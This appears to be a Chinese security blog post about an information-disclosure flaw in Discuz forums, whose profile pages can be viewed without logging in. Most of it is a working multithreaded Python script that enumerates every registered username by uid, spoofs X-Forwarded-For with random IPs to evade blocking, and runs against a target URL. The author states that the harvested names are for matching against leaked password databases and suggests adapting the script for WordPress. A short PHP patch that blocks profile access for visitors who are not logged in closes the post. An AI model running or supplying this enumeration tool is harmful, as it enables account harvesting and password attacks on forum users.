看到网上某篇文章,突然想起自己还有几篇没有发到博客上,于是发一下。
0x01 从discuz能遍历用户资料的问题谈起
我们随便点进一个discuz论坛,在地址后面加?1,有的论坛就会显示uid=1的用户资料页(或是家园空间首页,取决于这个论坛有没有开通家园):不过有些论坛(比如法客)没有这个的,可能是哪里修改了。
不过我们访问 home.php?mod=space&uid=3550&do=profile 还是能看到 uid = 3550的用户资料的:
而且,这个地址是没有登录限制的,也就是说未登录的用户也能看这个资料页面。而且好像后台是不能增加这个限制的,必须要改代码。
这对于一些私密性比较高的论坛就构成了很大的威胁,这个问题就类似于wordpress的用户名遍历问题一样,获得了你的用户名,就能爆破你的密码了。
于是,我们设想,从uid=1到uid=XXX,写个脚本遍历一下,就能够获得这个论坛所有注册用户的用户名。不管你是不是这个论坛的用户。
0x02 python脚本的编写
我之前写了一个单线程的,但速度实在不敢恭维,所以后来改成多线程。多线程速度确实快了许多,但涉及到线程同步的问题又让我困惑了好久,最后加了一些线程锁,还有生成随机IP的代码,速度减低了一些但代码能稳定地运行了。
#!/usr/bin/python # -*- coding: utf-8 -*- ''' to get all user on discuz get username from http://localhost/home.php?mod=space&uid=1&do=profile ''' __author__ = 'Phtih0n' header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 ' '(KHTML, like Gecko) Chrome/29.0.1547.66 Safari/537.36 LBBROWSER'} import threading, random now = 1 time = 0 lock = threading.Lock() class ScanThread(threading.Thread): def __init__(self, url, end_times, fout): threading.Thread.__init__(self) if url[0:7] != "http://": self.url = "http://%s" % url else: self.url = url self.end_times = end_times self.fout = fout def run(self): self.scan_username() def makeIp(self): return "%d.%d.%d.%d" % (random.randint(11, 190), random.randint(11, 190), random.randint(11, 190), random.randint(11, 190)) def scan_username(self): import requests, re, sys global now, time, lock, header rex = re.compile(ur'''<title>(.+)的个人资料.+</title>''') while lock.acquire() and time < self.end_times: now_id = now now += 1 header["X-FORWARDED-FOR"] = self.makeIp() lock.release() get = "%s/home.php?mod=space&uid=%d&do=profile" % (self.url, now_id) try: response = requests.get(get, headers = header) except: print u"在Id = %d 处中断" % now_id continue if response.status_code == 404: print u"地址似乎不能破" return html = response.text ret = rex.search(html) if lock.acquire(): if ret: name = ret.group(1).encode("utf-8") self.fout.write("id: %d username: %s\n" % (now_id, name)) time = 0 sys.stdout.write("%d%s" % (now_id, "\b" * 5)) sys.stdout.flush() else: time += 1 lock.release() lock.release() if __name__ == "__main__": import optparse parser = optparse.OptionParser() parser.add_option( '-u','--scan-url', dest = 'url', help = u'等待扫号的论坛地址') parser.add_option( '-t','--end-times', type = 'int',dest = 'end_times',default = 100, help = u'发现有多少个账号不存在时停止扫描') parser.add_option( '-o','--output-file', dest = 'file', help = u'扫描结果输出文件') options, args = parser.parse_args() fout = open(options.file, "w") ThreadList = [] for i in range(0, 20): t = ScanThread(options.url, options.end_times, fout) ThreadList.append(t) for t in ThreadList: t.start() for t in ThreadList: t.join()大概过程是先创建20个线程并进入线程函数,线程函数里开始遍历uid。使用requests模块get到用户资料页的html,并正则匹配出用户名(从<title>里匹配),有uid不存在时就会有“用户不存在”的提示,这时候就将一个计数变量time自增1。当所有用户遍历完了以后,我们的脚本不知道,仍然在访问不存在的uid,但每访问一个time都会自增1,直到time超过预先定义的一个“end_times”值(默认100)。线程退出。
退出的时候一定要记得释放线程锁,否则就造成其后的线程得不到lock,导致程序一直阻塞。我之前就是因为这个原因困惑了好久。
程序的用法:
首先安装python的requests库。我习惯用这个库写网络程序……改不了了。这个库也很方便,推荐大家使用。
安装方法:
pip install requests
或
easy_install requests
windows下直接下载:http://www.python-requests.org/en/latest/user/install/#install
解压后进入目录
python setup.py install
安装
discuz.py -u http://bbs.target.com -o target.txt -t 100
剩下的任务就是等待。
结果:
获得了这些用户名,就能批量在你的“社工库”里碰撞密码了。进行进一步的信息搜集。
对于那种私密性的论坛,一旦有一个账号泄露,私密性就彻底消失。
0x03 问题解决方案
这个问题说好也好解决,说难也难解决。
我这个解决方案只是对于未注册的用户,不能查看其他用户用户名,但对于注册的用户来说,查看其他人用户名就太简单了。
来到discuz根目录下的\source\include\space\space_profile.php
if(!defined('IN_DISCUZ')) { exit('Access Denied'); } require_once libfile('function/spacecp'); space_merge($space, 'count'); space_merge($space, 'field_home'); space_merge($space, 'field_forum'); space_merge($space, 'profile'); space_merge($space, 'status'); getonlinemember(array($space['uid'])); ########################################### if($_G['uid'] > 0) {} //in_array($_G['groupid'], array(1)) else { showmessage('对不起,您无权进行此操作'); } ########################################### if($space['videophoto'] && ckvideophoto($space, 1)) { $space['videophoto'] = getvideophoto($space['videophoto']); } else { $space['videophoto'] = ''; }
以后当未登录的用户再访问/?1或home.php?mod=space&uid=1&do=profile时就会提示“对不起,您无权进行此操作”
0x04 后话
wordpress也能这么遍历出所有用户名,这个总所周知了,把我的脚本改一改就能打wordpress了。